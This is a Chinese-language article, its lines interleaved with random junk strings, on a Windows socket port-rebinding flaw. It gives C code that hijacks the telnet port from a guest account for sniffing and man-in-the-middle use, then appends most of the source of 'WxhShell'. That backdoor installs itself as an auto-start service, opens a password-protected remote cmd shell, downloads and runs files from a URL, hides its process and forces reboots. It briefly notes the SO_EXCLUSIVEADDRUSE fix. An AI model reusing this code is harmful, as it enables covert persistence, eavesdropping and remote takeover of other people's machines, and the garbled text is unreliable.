在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
SMnbI.0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:V`q;g z.7 UfLV9 saddr.sin_family = AF_INET;
_c`Gxt% P4s:wuJ^ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
64[j:t=N IUwY/R9Q bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
lO<Ujb#"R :I1bGa&I 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
u U\UULH0 Q5baY\"9^ 这意味着什么?意味着可以进行如下的攻击:
pS51fF9 bw+~5pqM 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
R9{6$djq\: E-l>z% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
9erTb?@S jMg Ni@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
>:8GU f* ^8B#-9Ph b 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
KWM.b"WnXr 1#XMUbFc 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)KkA<O}f DLf6D |" 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
[S'ngQ"f` }&ZO
q'B 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
$YFn$.70\ GT`:3L #include
}KJ/WyYW #include
Hz28L$ #include
UtY<R #include
Ktg6 *L/ DWORD WINAPI ClientThread(LPVOID lpParam);
)J5(M` int main()
J/=b1{d"n {
vcqL WORD wVersionRequested;
Gh|q[s*k DWORD ret;
"c=\? WSADATA wsaData;
2#ypM 9 BOOL val;
aZ- )w SOCKADDR_IN saddr;
zPZy#7/A SOCKADDR_IN scaddr;
?2QssfB int err;
J/WPffqD
SOCKET s;
vA"yy"B+ V SOCKET sc;
dfO84Z}
5 int caddsize;
iw<+rh*C HANDLE mt;
J$@3,=L6V DWORD tid;
iwrS>Sm wVersionRequested = MAKEWORD( 2, 2 );
L/#^&*'B err = WSAStartup( wVersionRequested, &wsaData );
A03,X;S+ if ( err != 0 ) {
n`;=^^ B printf("error!WSAStartup failed!\n");
"m(HQ5e)* return -1;
#*XuU8q? }
Lw1~$rZg saddr.sin_family = AF_INET;
3/P2&m 0vf2wBK'T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
pv;}Sv$
]- l. !5/\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
} D{y
u+) saddr.sin_port = htons(23);
|-=^5q5 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dKi+~m'w {
HS>Z6|uLY printf("error!socket failed!\n");
L-",.U*; return -1;
D'c,z[ }
szGp<xv_p val = TRUE;
e\tcP //SO_REUSEADDR选项就是可以实现端口重绑定的
mi6<;N2w| if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
z'XFwk {
t@.M;b8 printf("error!setsockopt failed!\n");
NDm3kMa return -1;
j)]mN$Sa: }
r^q@rL> //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
]FL=E3U //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
3I@j=:(%Y //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
{H=DeQ l0l2fwz( if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
X70G@-w {
rK9X68) ret=GetLastError();
IEmtt^C printf("error!bind failed!\n");
":tQYo]d return -1;
wk'|gI[W }
mtvfG listen(s,2);
v=RQ"iv8 while(1)
$
nx&(V {
IhhB^E| caddsize = sizeof(scaddr);
uwU;glT //接受连接请求
E}00y%@*J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
cL?FloPc* if(sc!=INVALID_SOCKET)
y?zNxk/p {
:?O+EE mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
2aNCcZw0 if(mt==NULL)
37Q9goMov {
Z4b<$t[u printf("Thread Creat Failed!\n");
#"jEc*&= break;
ckHHD| }
'x$>h)t] }
>T'^&l(: CloseHandle(mt);
CuR.a }
Wz`MEyj closesocket(s);
Hw-,sze j" WSACleanup();
|W[BqQIf return 0;
3){ /u$iH. }
Xb@lKX5Re DWORD WINAPI ClientThread(LPVOID lpParam)
"u@) {
82O#Fe q SOCKET ss = (SOCKET)lpParam;
/4}{SE SOCKET sc;
07:CcT unsigned char buf[4096];
oj/,vO:QT SOCKADDR_IN saddr;
_VFl.U, long num;
0O5(\8jM DWORD val;
$DuX1T DWORD ret;
4Z.G //如果是隐藏端口应用的话,可以在此处加一些判断
tF}Vs} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
c!{v/zOz saddr.sin_family = AF_INET;
ROw9l!YF saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Vcm9:,Xlw saddr.sin_port = htons(23);
87.b7 b. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{9S=: {
Lnc
_)RF printf("error!socket failed!\n");
vN=e1\ return -1;
p~vq1D6 }
5xtIez]x? val = 100;
Ztu _UlGC if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8+5z -vd {
uQIa"u7 ret = GetLastError();
'85@U`e. return -1;
v1*Lf/ }
Lf`LFPKb if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
35|F?Jx.r {
Ou/JN+2A ret = GetLastError();
//9Ro" return -1;
$iu{u|VSu }
4=^_ 4o2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
zGjf7VV2a {
>1 {V printf("error!socket connect failed!\n");
B! $a Y closesocket(sc);
f mXU) closesocket(ss);
mltG4R
? return -1;
0n` 1GU)W }
2mg4*Ys while(1)
U>PF#@ C/ {
vs]#?3+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_1TSt%L //如果是嗅探内容的话,可以再此处进行内容分析和记录
sq1Z;l31" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
a"ZBSg( num = recv(ss,buf,4096,0);
-L<''2t if(num>0)
NZ`Mq send(sc,buf,num,0);
XMzL\Edo else if(num==0)
Z\Qa6f! break;
%P05k num = recv(sc,buf,4096,0);
6P@3UQ)}s if(num>0)
8#b>4Dx send(ss,buf,num,0);
5:ca6H else if(num==0)
t
1gH9 break;
\i%h/Ao }
$n>|9(K8 closesocket(ss);
?|Y/&/;%I closesocket(sc);
f7NK0kuA return 0 ;
C QO gR GW }
unn2MP' \@6PA _o'_ z ] ==========================================================
QhV!%}7 zfAHE{c 下边附上一个代码,,WXhSHELL
0`y;[qAG[ yf5X=f.%@ ==========================================================
)Nv$ SH f~nAJ+m= #include "stdafx.h"
jF4h/((|EU H]>b<Cs #include <stdio.h>
z@5t7e)!R #include <string.h>
(9R;a np #include <windows.h>
~{MmUp rS #include <winsock2.h>
G ,,c, #include <winsvc.h>
lB_&Lq8G #include <urlmon.h>
l'h[wwEXm{ Q?]307g7 #pragma comment (lib, "Ws2_32.lib")
*p)1c_ #pragma comment (lib, "urlmon.lib")
p<%76H
A <~ E'% 60; #define MAX_USER 100 // 最大客户端连接数
m E<n=g= #define BUF_SOCK 200 // sock buffer
O+D"7 #define KEY_BUFF 255 // 输入 buffer
^}nz^+R ra#s!m1 #define REBOOT 0 // 重启
P5{|U"Y_ #define SHUTDOWN 1 // 关机
~bL^&o(W *oR`l32O0z #define DEF_PORT 5000 // 监听端口
7I.7%m,g M`{x*qR #define REG_LEN 16 // 注册表键长度
p%Zx<=f-_ #define SVC_LEN 80 // NT服务名长度
I[b@U<\ TK"!z(p // 从dll定义API
K5(:UIWx typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
h|z{ (v typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
T^'NC8v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#N"zTW% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
E*rnk4Y pC9Ed9uRK // wxhshell配置信息
WPbWG$Li struct WSCFG {
nFE0y3GD8 int ws_port; // 监听端口
Sw!/IPO char ws_passstr[REG_LEN]; // 口令
hN%
h.;s int ws_autoins; // 安装标记, 1=yes 0=no
D#lx&J.s char ws_regname[REG_LEN]; // 注册表键名
Nc4e,>$]& char ws_svcname[REG_LEN]; // 服务名
jTjGbC]X char ws_svcdisp[SVC_LEN]; // 服务显示名
TM_ MJp char ws_svcdesc[SVC_LEN]; // 服务描述信息
-.#He char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|cZKj|0> int ws_downexe; // 下载执行标记, 1=yes 0=no
Id->F0x0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
5$SO char ws_filenam[SVC_LEN]; // 下载后保存的文件名
iM'{,~8R5 {UX[SAQ };
3PS(1 q r12"H // default Wxhshell configuration
XsE] Z4 struct WSCFG wscfg={DEF_PORT,
h9Zf4@w "xuhuanlingzhe",
]A*v\Qy 1,
G4Y]fzC "Wxhshell",
DFvLCGkDk "Wxhshell",
,XmTKOc "WxhShell Service",
NNUm=g^ "Wrsky Windows CmdShell Service",
G[U'-a}I "Please Input Your Password: ",
Vj.5b0/( 1,
y~jKytq^@ "
http://www.wrsky.com/wxhshell.exe",
4BSSJ@z "Wxhshell.exe"
wr\d5j };
Z$h39hm?c &^-quzlZ // 消息定义模块
K>H_q@-?f char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
X2#;1 ku char *msg_ws_prompt="\n\r? for help\n\r#>";
/mST<{(_G\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4%5H<:V7 char *msg_ws_ext="\n\rExit.";
n
ETm" char *msg_ws_end="\n\rQuit.";
XO |U4#ya char *msg_ws_boot="\n\rReboot...";
r{~K8!=oU] char *msg_ws_poff="\n\rShutdown...";
"WKE%f char *msg_ws_down="\n\rSave to ";
J?Kgev% !?Tu pi char *msg_ws_err="\n\rErr!";
n1Ag o3NM char *msg_ws_ok="\n\rOK!";
7QdU|1] v5i?4?-Z char ExeFile[MAX_PATH];
P<iS7Ys+ int nUser = 0;
^:0NKq\ HANDLE handles[MAX_USER];
x+h7OvW{ int OsIsNt;
H^s@qh)L >j]*=&,7 SERVICE_STATUS serviceStatus;
Q7PqN1jTE SERVICE_STATUS_HANDLE hServiceStatusHandle;
%;,D:Tv=& |0Kj0u8T // 函数声明
Q!DQ!;Br6 int Install(void);
TI-#\v9 int Uninstall(void);
-B\`O*Q int DownloadFile(char *sURL, SOCKET wsh);
@nN+F,phx int Boot(int flag);
h 9V9.' void HideProc(void);
a.F6!? int GetOsVer(void);
/wIev1Z!Y int Wxhshell(SOCKET wsl);
1a{~B# void TalkWithClient(void *cs);
C._I\:G^ int CmdShell(SOCKET sock);
3mWd?!+m= int StartFromService(void);
#mqz*=L3 int StartWxhshell(LPSTR lpCmdLine);
~g2ColFhu 7{oG4X! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
SZ}t_w ` VOID WINAPI NTServiceHandler( DWORD fdwControl );
Mnpb".VU#T >iP>v`J // 数据结构和表定义
*(&,&$1K SERVICE_TABLE_ENTRY DispatchTable[] =
X~RET[L2 {
IXp P.d {wscfg.ws_svcname, NTServiceMain},
L4SvE^2+ {NULL, NULL}
:SSlUl4sU$ };
ZiDmx-X fTM^:vkO // 自我安装
?Mp)F2' int Install(void)
Q!>8E4Z {
S<+_yB? char svExeFile[MAX_PATH];
(JC -4X_ HKEY key;
dL"$YU9z strcpy(svExeFile,ExeFile);
{] -nYHGL jr"~ // 如果是win9x系统,修改注册表设为自启动
]zVe% Wa if(!OsIsNt) {
UC*<] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2vKnxK+ 5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{:
EQ RegCloseKey(key);
<PkDfMx2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)_EQU8D4ug RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1p,G8 v+B RegCloseKey(key);
|::kC3= return 0;
(CYVSO }
6m21Y8N }
lfR"22t }
/B!"\0G/, else {
\~nUk7. nLkC-+$tM // 如果是NT以上系统,安装为系统服务
wP/rR D6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
&K k+RHM if (schSCManager!=0)
,K7C2PV6 {
yoV"?W>! SC_HANDLE schService = CreateService
GMOv$Tn-_L (
u7`<m.\ schSCManager,
#v-)Ie\F? wscfg.ws_svcname,
0t7yK wscfg.ws_svcdisp,
Jg
k@ti.}Z SERVICE_ALL_ACCESS,
yB}y' 5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
X4i$,$C SERVICE_AUTO_START,
-GP+e`d SERVICE_ERROR_NORMAL,
A"eT@ svExeFile,
+XWXHt NULL,
L.!:nu]rV NULL,
vE?qF9I{$0 NULL,
?Z!itB~ NULL,
R|t.wawCo NULL
5n.4>yOY );
c#9 zw[y-L if (schService!=0)
^f!d8
V {
cJ:BEe CloseServiceHandle(schService);
-<&"geJA CloseServiceHandle(schSCManager);
O\OG~`HBN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)." zBc# strcat(svExeFile,wscfg.ws_svcname);
ika{>hbH if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
>~J_9'gX6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
4)9X) Qx RegCloseKey(key);
SVXey?A;CJ return 0;
x#dJH9NR[ }
@R}L
4 }
Q+ G=f CloseServiceHandle(schSCManager);
7"4|`y^# }
iO#H_&L.p }
"_'9KBd! @oYq.baHX return 1;
n2,b~S\e }
|#5JI#,vX ]2zx}D4f // 自我卸载
v}[KVwse int Uninstall(void)
xNxIqq<k {
%XG X( HKEY key;
@b!fs WF-imI:EK if(!OsIsNt) {
RWTv,pLK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
hPFIf>%} RegDeleteValue(key,wscfg.ws_regname);
w/G5I )G RegCloseKey(key);
KU33P>a"[k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
F$F5N1< RegDeleteValue(key,wscfg.ws_regname);
~>}BDsM RegCloseKey(key);
AH=6xtS- return 0;
Y<#7E;aL }
?\\
]u }
h"%6tpV- }
tGmyTBgx else {
N.eSf 7SAu">lIl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
oL}FD !} if (schSCManager!=0)
"P<~bw5 {
6xz&Qi7w SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
k~=-o>}C if (schService!=0)
|BYD] vK {
E?Q=#+}U if(DeleteService(schService)!=0) {
X[;4.imE CloseServiceHandle(schService);
2b|vb}|t{ CloseServiceHandle(schSCManager);
wZrdr4j return 0;
-]'Sy$,A }
Mm.!$uR CloseServiceHandle(schService);
"{{xH*ij' }
mH?^3T CloseServiceHandle(schSCManager);
FLy|+4D_%4 }
, PN?_N }
103^\Av8 k )){1O return 1;
B u4N~0 }
*QLl
jGe 4\sS // 从指定url下载文件
d G:=tf&1R int DownloadFile(char *sURL, SOCKET wsh)
>b*Pd
*f {
|Ca$>]? HRESULT hr;
{8I93] char seps[]= "/";
2?-}(F;Z char *token;
8CEy#%7]} char *file;
A;kAAM char myURL[MAX_PATH];
)_bXKYUX*0 char myFILE[MAX_PATH];
>!WJ{M0 uF(-h~ strcpy(myURL,sURL);
pM
VeUK? token=strtok(myURL,seps);
;y k@`< while(token!=NULL)
$g|g}>Sc {
QT%&vq file=token;
&]z2=\^e token=strtok(NULL,seps);
|u;5|i }
V<nzThM\ Zqam Iq GetCurrentDirectory(MAX_PATH,myFILE);
R!$j_H strcat(myFILE, "\\");
_TX.}167;- strcat(myFILE, file);
|y'q`cY send(wsh,myFILE,strlen(myFILE),0);
s
6hj[^O send(wsh,"...",3,0);
MF E%q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
i,RK0q?> if(hr==S_OK)
o~GhV4vq return 0;
C!Tl?>Tt else
RPp_L>&~< return 1;
$k!@e M/R .-Ao%A W }
Lwv9oa| +U6!
bu>C // 系统电源模块
TD3R/NP int Boot(int flag)
qvk?5#B {
{I2j Lc HANDLE hToken;
kc"U)> TOKEN_PRIVILEGES tkp;
PiH#9XB [|F.*06SK if(OsIsNt) {
Uw)K[T OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"sHD8TUX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
, H[o.r= tkp.PrivilegeCount = 1;
$6oLiYFX; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
u8[X\f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}:hdAZ+z if(flag==REBOOT) {
MCYrsgg} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
45-pJf8F return 0;
/-4%ug tD$ }
a<\m`
Es= else {
@ObsW!g if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
p(x[zn+%Y return 0;
fwl
RwH( }
Pel3e ~?t }
%HSoQ?qA else {
ZGp8$Y>r if(flag==REBOOT) {
Y+G4: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ul% q6=f) return 0;
TkQ05'Qc }
3cOXtDV YT else {
*YDx6\><
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}D|"$* return 0;
u(REEc~nj }
+*|E%pq }
?SQT;C3j( cxmr|-^ return 1;
4`*jF'N[ }
bTn-Pg){ K, 35* // win9x进程隐藏模块
EI f~>AI void HideProc(void)
("9)=x *5 {
o\2#}eie Ajq<=y`NzV HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
N:&Gv'` if ( hKernel != NULL )
h"<rW7z {
*np%67=jO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
12rr:(#%s ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
@w|~:>/g FreeLibrary(hKernel);
8ztY_"]3p }
&i!.6M2 Mv;7kC7] return;
[(dAv7YbN }
.UJDn^@ |:EUh // 获取操作系统版本
2=U4'C4# int GetOsVer(void)
l[h??C` {
A>'o5+ OSVERSIONINFO winfo;
&Wn!W winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
@h$7C< GetVersionEx(&winfo);
US
Q{o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
k-w._E
< return 1;
@s@r5uR9B else
UDxfS4yI return 0;
Pu}2%P)p }
`[`eg<xj b9"Q.*c<Z^ // 客户端句柄模块
ousoG$Pc int Wxhshell(SOCKET wsl)
EW YpYMkm {
YgVZq\AV" SOCKET wsh;
Y%Saz+ struct sockaddr_in client;
Lo !kv* DWORD myID;
7j@TW%FmV\ o 0fsM;K while(nUser<MAX_USER)
s3t{freM {
)FgcNB1|7 int nSize=sizeof(client);
T@f$w/15 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
&}*[-z if(wsh==INVALID_SOCKET) return 1;
3lLO. ! WQEv_G@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
/oh[Nu1D if(handles[nUser]==0)
hL&z"_` closesocket(wsh);
jg 2>=} else
8vchLl# nUser++;
(Kx3:gs }
5)mn WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
)2:d8J\ fkYa return 0;
y5oiH }
MF>?! ! hGzj}t
W8d // 关闭 socket
0naegy?, void CloseIt(SOCKET wsh)
l$z-' {
V<(cW'zA/ closesocket(wsh);
ga!t:O@w nUser--;
C'hZNFsF; ExitThread(0);
G;`+MgJ) }
|nv8&L8 5J1,Usm // 客户端请求句柄
tX6n~NJ$ void TalkWithClient(void *cs)
<sn^>5Ds {
$,bLb5}Qu *y u|]T SOCKET wsh=(SOCKET)cs;
hfVJg7- char pwd[SVC_LEN];
9D-PmSnv char cmd[KEY_BUFF];
`43E-'g char chr[1];
\vpUl int i,j;
(LQ*U3J]_ [?_^Cy while (nUser < MAX_USER) {
&Q 3!ty "y#$| TMB if(wscfg.ws_passstr) {
l8jm7@.E if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
JrS|Ib)6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
v-g2k_o| //ZeroMemory(pwd,KEY_BUFF);
lP0'Zg( i=0;
+.gZILw while(i<SVC_LEN) {
!$Nh:(>: | [P!9e // 设置超时
C+jlIT+ fd_set FdRead;
{ge^&l struct timeval TimeOut;
O &;Cca FD_ZERO(&FdRead);
Un@d Wf6' FD_SET(wsh,&FdRead);
A"d=,?yE TimeOut.tv_sec=8;
$,F1E VJ TimeOut.tv_usec=0;
'\=aSZVO int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
`BF +)fs if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
~xkcQ{ -=@d2LY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_KLKa/3 pwd
=chr[0]; 8+^q9rLii
if(chr[0]==0xd || chr[0]==0xa) { XeJn,=
pwd=0; sYYNT*
break; "! m6U#^
} $CRu?WUS]'
i++; l*":WzRGvF
} 9J$N5
X8"4)IZ3
// 如果是非法用户,关闭 socket Z`T]jm-3
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =YOq0
} :)p\a1I[*
4*P#3 B'@V
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2V:`':
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \0).
ODA(
fl9`Mgu
while(1) { 3fM8W>
*7
Iw~R@,
ZeroMemory(cmd,KEY_BUFF); C[6}
8J|
:Ugf3%sQ
// 自动支持客户端 telnet标准 kZ>_m&g
j=0; X @RS
/
while(j<KEY_BUFF) { [+
Kjun_
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _ VKBzOH
cmd[j]=chr[0]; C6Lc
if(chr[0]==0xa || chr[0]==0xd) { =;ClOy9
cmd[j]=0; i}[cq_wJ
break; )[+82~F
} ";yey ]
j++; u0zF::
} qHaH=g%
@IhC:Yc
// 下载文件 Gh>&+UA'$1
if(strstr(cmd,"http://")) { -Aaim`06bv
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \|&KD
if(DownloadFile(cmd,wsh)) xy))}c%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >J*x` a3Q
else ct`j7[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rP|~d}+I
} #9zpJ\E
else { y)vK=,"
/#jH#f[
switch(cmd[0]) { 6I2`oag
eu={6/O
// 帮助 `Y O(C<r-
case '?': { Pm&h v*D
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :e1kpQ
break; V^Y'!w\LGI
} K*I!:1;3N
// 安装 /9ctmW1!<
case 'i': { U}@xMt8@l
if(Install()) *IX<&u#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v|\3FEu@
else aKjP{Z0k$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5(>SFxz"t
break; ,2YZB*6h{
} ~=va<%{
U
// 卸载 ;NU-\<Q{
case 'r': { `6$|d,m5
if(Uninstall()) (Zg'])
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 50_[n$tqE
else plL|Ubn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
J-#V_TzJ?
break; NNt
n
} i/j53towe
// 显示 wxhshell 所在路径 Z<^;Ybw{`Z
case 'p': { L4,b ThSG
char svExeFile[MAX_PATH]; HS[($
strcpy(svExeFile,"\n\r"); *5IB@^<
strcat(svExeFile,ExeFile); vd?Bk_d9k,
send(wsh,svExeFile,strlen(svExeFile),0); 8Cs;.>75[
break; .7]P-]uOZ
} o?Aj6fNY?
// 重启 Z1#u&oX
case 'b': { 2ah%,o
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mg#yl\v
if(Boot(REBOOT)) I4W@t4bZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !O,Sq/=.
else { o]EL=j
closesocket(wsh); vJL Gy]
ExitThread(0); fIl;qGz85
} WQ{[q" O
break; `78Bv>[A
} ~)^'5^
// 关机 ;z.L^V0
case 'd': { oNZ_7tU
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d]poUN~x
if(Boot(SHUTDOWN)) AdVc1v&>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fWZ(
else { u\V^g
closesocket(wsh); 3pg=9*{
ExitThread(0); *,mI=1
} AHRJ7l;a
break; ak7kb7 5o
} h);^4cU
// 获取shell V"m S$MN
case 's': { &\1n=y
CmdShell(wsh); Jy5sZ}t[
closesocket(wsh); u<Y#J,p`e
ExitThread(0); =*&[K^
break; l|=4FIMD
} U@M3.[jw
// 退出 Hs*["zFc
case 'x': { T]\c2U
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TP"cEfs x
CloseIt(wsh); 3w</B-|nQ
break; ; h\T7pwwb
} ;xZjt4M1
// 离开 HcgvlFb
case 'q': { TjyL])$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;eN
^'/4A
closesocket(wsh); &W,jR|B
WSACleanup(); yEq7ueJ'
exit(1); TG%B:^Yz!
break;
;%9]G|*{
} T1]?E]m{
} 7Ml4u%?
} h:nybLw?
fC[za,PXaE
// 提示信息 EHk\Q\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HR}O:2'
} DsejZ&
} lj (y
Ut;`6t
return; 1Y|a:){G
} j-":>}oW2.
yd).}@
// shell模块句柄 N%
4"9K
int CmdShell(SOCKET sock) GC{M"q|_
{ V5w1ET
STARTUPINFO si; Nob(D'vSr
ZeroMemory(&si,sizeof(si)); {drc}BL_
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5~|{:29X
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Snx!^4+MF
PROCESS_INFORMATION ProcessInfo; aYWWln
char cmdline[]="cmd"; $VuXr=f}
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ){*+s RBW
return 0; c2y,zq|H
} 2yZr!Rb~*
"f,{d}u
// 自身启动模式 "2l`XH
int StartFromService(void) @1MnJP
{ "9wD|wsz
typedef struct Dwp,d~z
{ m^k0j/
DWORD ExitStatus; !y= R)k
DWORD PebBaseAddress; -QrC>3xZR
DWORD AffinityMask; V)j[`,M:
DWORD BasePriority; -L1785pB85
